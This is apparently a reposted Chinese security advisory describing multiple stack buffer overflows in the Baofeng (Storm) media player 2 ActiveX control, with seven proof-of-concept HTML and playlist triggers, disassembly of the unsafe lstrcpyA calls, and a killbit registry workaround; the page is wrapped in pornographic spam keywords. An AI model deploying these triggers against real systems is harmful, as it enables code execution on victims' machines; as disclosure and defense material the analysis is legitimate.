<del id="dhfrq"></del>

    1. <tr id="dhfrq"></tr>
      成人午夜激情在线观看,国产精品一线天粉嫩av,99精品国产综合久久久久五月天 ,一卡2卡三卡4卡免费网站,国产高清在线男人的天堂,五月天国产成人AV免费观看,67194熟妇在线观看线路,成人无码潮喷在线观看
      現在位置:范文先生網>理工論文>服務器安全及應用>暴風影音2 mps.dll組件多個緩沖區溢出漏洞

      暴風影音2 mps.dll組件多個緩沖區溢出漏洞

      時間:2022-04-22 16:36:25 服務器安全及應用 我要投稿
      • 相關推薦

      暴風影音2 mps.dll組件多個緩沖區溢出漏洞

      網上爆出了一個暴風影音的activex漏洞,調用的是rawParse這個方法,于是簡單看了下,發現問題真不少。
      這些問題都是可以控制eip或者是seh的,也就是說每個漏洞都可以導致執行任意代碼。

      影響版本:暴風影音2(其他未測試)
      未受影響版本:無(目前無補丁)

      URL屬性、rawParse方法和advancedOpen方法溢出的poc分別如下:

      [Vuln 1]
      <html>
      <body>
      <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
      id="storm"></object>
      <script>
      var s = "\x0c";

      while (s.length < 300) {
          s += "\x0c";

      }

      storm.URL = s;
      </script>
      </body>
      </html>
      [Vuln 2]
      <html>
      <body>
      <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
      id="storm"></object>
      <script>
      var s = "\x0c";

      while (s.length < 300) {
          s += "\x0c";

      }

      storm.rawParse(s);
      </script>
      </body>
      </html>
      [Vuln 3]
      <html>
      <body>
      <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
      id="storm"></object>
      <script>
      var s = "\x0c";

      while (s.length < 1050) {
          s += "\x0c";

      }

      storm.advancedOpen(s, "");
      </script>
      </body>
      </html>
      URL屬性、rawParse方法和advancedOpen方法的溢出本質是同一個問題,他們都調用了sparser.dll導出的一個函數。
      這個函數從代碼來看是處理路徑和URL的,URL屬性和rawParse方法傳入的參數也都是URL。
      .text:10004F40 ; int __stdcall sub_10004F40(LPCSTR
      lpMultiByteStr,int,int)
      .text:10004F40 sub_10004F40    proc near               ; DATA
      XREF: .rdata:1000F2D0 o
      .text:10004F40
      .text:10004F40 var_14          = dword ptr -14h
      .text:10004F40 var_10          = dword ptr -10h
      .text:10004F40 var_C           = dword ptr -0Ch
      .text:10004F40 var_4           = dword ptr -4
      .text:10004F40 lpMultiByteStr  = dword ptr  4
      .text:10004F40 arg_8           = dword ptr  0Ch
      .text:10004F40
      .text:10004F40                 mov     eax, large fs:0
      .text:10004F46                 push    0FFFFFFFFh
      .text:10004F48                 push    offset loc_1000EB21
      .text:10004F4D                 push    eax
                   ...    ...    ...    ...
      .text:1000506D                 call    dword ptr [ecx+4]
      .text:10005070                 mov     ecx, esi
      .text:10005072                 mov     edx, [esp+24h+lpMultiByteStr]
      .text:10005076                 push    edx             ;
      lpMultiByteStr
      .text:10005077                 call    sub_10002450
      該函數第二、三個參數都是指向用戶輸入串拷貝的指針,最后一行進入另一個函數:
      .text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
      .text:10002450 sub_10002450    proc near               ; CODE XREF:
      sub_10004F40+137 p
      .text:10002450
      .text:10002450 var_12C         = dword ptr -12Ch
      .text:10002450 pszPath         = byte ptr -120h
      .text:10002450 var_1C          = dword ptr -1Ch
      .text:10002450 var_4           = dword ptr -4
      .text:10002450 lpMultiByteStr  = dword ptr  8
      .text:10002450
      .text:10002450                 push    ebp
      .text:10002451                 mov     ebp, esp
      .text: 10002453      & nbsp;           sub      esp, 120h    ;& nbsp;注意
      這里分配了120h即288字節大小的buffer
                ...   ...   ...   ...
      .text:100024ED                 mov     edi, [ebp+lpMultiByteStr]
      .text:100024F0                 push    edi             ; pszPath
      .text: 100024F1      & nbsp;           call     ds:PathIsURLA    ; 這里判斷
      是否為合法的URL
      .text:100024F7                 test    eax, eax
      .text: 100024F9      & nbsp;           jz    & nbsp;
      loc_10002582    ;& nbsp;如果不是則跳轉
                ...   ...   ...   ...
      .text:10002582                 lea     eax, [ebp+pszPath]
      .text: 10002588      & nbsp;           push     edi              ; 用戶輸入
      的串
      .text:10002589                 push    eax
      .text: 1000258A      & nbsp;           call     ds:lstrcpyA    ; 串拷貝造成棧
      溢出
      通過以上分析發現,程序在處理非法超長(長度大于MAX_PATH)URL時發生棧溢出。
      這個函數是個導出函數,暴風影音其他地方如果調用這個函數的話,都可能有問題。
      于是通過在這個函數下斷點發現暴風影音主程序處理URL時也是調用這個函數,同樣也有問題。
      我們構造一個播放列表文件就可以觸發:

      [Vuln 4]
      <?xml version="1.0" encoding="GB2312"?>
      <PlayList>
          <item name="ph4nt0m" time=""
      path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA­AAAAAAAAAAAAAAAAAAAAAAAAAA"/


      </PlayList>
      但是問題還遠遠沒有結束,在mps.dll中,還存在很明顯的以下幾個漏洞:

      IsDVDPath方法:
      037EAB8B    56              PUSH ESI
      037EAB8C    57              PUSH EDI
      037EAB8D    50              PUSH EAX                                 ;
      src
      037EAB8E    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]           ;
      dest
      037EAB94    68 30FE8003     PUSH mps.0380FE30                        ;
      ASCII "%s\video_ts.ifo"
      037EAB99    50              PUSH EAX
      037EAB9A    E8 F2FA0000     CALL mps.037FA691                        ;
      copy
      [Vuln 5]
      <html>
      <body>
      <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
      id="storm"></object>
      <script>
      var s = "\x0c";

      while (s.length < 1050) {
          s += "\x0c";

      }

      storm.isDVDPath(s);
      </script>
      </body>
      </html>
      backImage屬性:
      03FA6D5B   .  8D9E 0C030000 LEA     EBX,DWORD PTR DS:[ESI+30C]
      <===========
      03FA6D84   .  FF75 F0       PUSH    DWORD PTR SS:
      [EBP-10]                   ; /String2
      03FA6D87   .  8986 08030000 MOV     DWORD PTR DS:[ESI
      +308],EAX              ; |
      03FA6D8D   .  53            PUSH
      EBX                                     ; |String1
      03FA6D8E   .  FF15 5471FC03 CALL    DWORD PTR DS:
      [<&KERNEL32.lstrcpyA>]     ; \lstrcpyA
      03FA6D94   >  8B86 34040000 MOV     EAX,DWORD PTR DS:[ESI+434]
      03FA6D9A   .  8D8E 34040000 LEA     ECX,DWORD PTR DS:[ESI+434]
      <===========
      03FA6DA0   .  894D 0C       MOV     DWORD PTR SS:[EBP+C],ECX
      03FA6DA3   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]
      [Vuln 6]
      <html>
      <body>
      <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
      id="storm"></object>
      <script>
      var s = "\x0c";

      while (s.length < 1050) {
          s += "\x0c";

      }

      storm.backImage = s;
      </script>
      </body>
      </html>
      titleImage屬性:
      03EA68E7   .  FF75 F0       PUSH    DWORD PTR SS:
      [EBP-10]            ; /String2
      03EA68EA   .  8903          MOV     DWORD PTR DS:[EBX],EAX           ;
      |
      03EA68EC   .  8D86 A4010000 LEA     EAX,DWORD PTR DS:[ESI+1A4]       ;
      |
      03EA68F2   .  50            PUSH    EAX                              ;
      |String1
      03EA68F3   .  FF15 5471EC03 CALL    DWORD PTR DS:[<&KERNEL32.lstrcpy>;
      \lstrcpyA
      03EA68F9   >  8B86 C8020000 MOV     EAX,DWORD PTR DS:[ESI+2C8]
      03EA68FF   .  8D9E C8020000 LEA     EBX,DWORD PTR DS:[ESI+2C8]
      03EA6905   .  8BCB          MOV     ECX,EBX
      03EA6907   .  895D 0C       MOV     DWORD PTR SS:[EBP+C],EBX
      03EA690A   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]
      [Vuln 7]
      <html>
      <body>
      <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
      id="storm"></object>
      <script>
      var s = "\x0c";

      while (s.length < 1050) {
          s += "\x0c";

      }

      storm.titleImage = s;
      </script>
      </body>
      </html>
      針對該控件漏洞的臨時解決辦法是對該com組建設置killbit,把下面內容保存為.reg文件,雙擊導入注冊表:

      [Patch]
      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
      Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
      "Compatibility Flags"=dword:00000400
      暴風影音在前段時間宣布脫離了MPC內核,現在大部分代碼都是自己寫的。
      我們看到暴風影音在業務迅速發展,版本迅速更新的同時,帶來的是對產品安全的忽視與僥幸心理。
      我以前一直感覺暴風影音會有問題,因為他包含了太多的dll,隨便哪個文件格式出問題,就會導致嚴重漏洞。
      這些漏洞也許只是冰山的一角,繼續挖掘下去,也許會發現更多的東西。
      快速發展型企業生存不容易,愿"暴風"一路走好。

      【暴風影音2 mps.dll組件多個緩沖區溢出漏洞】相關文章:

      暴風作文04-11

      暴風雨02-19

      玉林勾漏洞導游詞-廣西導游詞07-12

      暴風雨作文07-23

      暴風雪作文06-13

      暴風雨的作文03-22

      暴風雨的句子02-15

      暴風雨優秀作文07-29

      夏日暴風雨作文02-21

      暴風雨作文【薦】09-23

      主站蜘蛛池模板: 成人免费视频一区二区三区| 中文字幕结果国产精品| 国产av一区二区不卡| 国产一区二区三区不卡在线看| 久久99久久99精品免观看| 午夜福利激情一区二区三区| 亚洲色欲色欱WWW在线| 亚洲人亚洲人成电影网站色| a级亚洲片精品久久久久久久| 国产精品一区二区三区黄色| 日本精品不卡一二三区| 中文字幕在线视频不卡一区二区 | 一区二区和激情视频| 在线看av一区二区三区| 日韩一卡二卡三卡四卡五卡| 国产999精品2卡3卡4卡| 永久免费AV无码国产网站| 偷窥少妇久久久久久久久| 一区二区不卡国产精品| 青青国产揄拍视频| 日韩狼人精品在线观看| 亚洲精品综合一区二区三区| 日本高清在线观看WWW色| 性XXXX视频播放免费直播| 中文字幕国产精品一区二| 精品国产成人午夜福利| 亚洲国产午夜精品理论片| 国产区一区二区现看视频| 116美女极品a级毛片| 91密桃精品国产91久久| 宅男噜噜噜66在线观看| 国产成人免费一区二区三区| 国产99精品成人午夜在线| 人人爽人人模人人人爽人人爱| 激情综合网激情综合网五月| 无码日韩做暖暖大全免费不卡| 人妻加勒比系列无码专区| 亚洲中文字幕国产精品| 亚洲成亚洲成网| 国产一区二区一卡二卡| 亚洲熟少妇一区二区三区|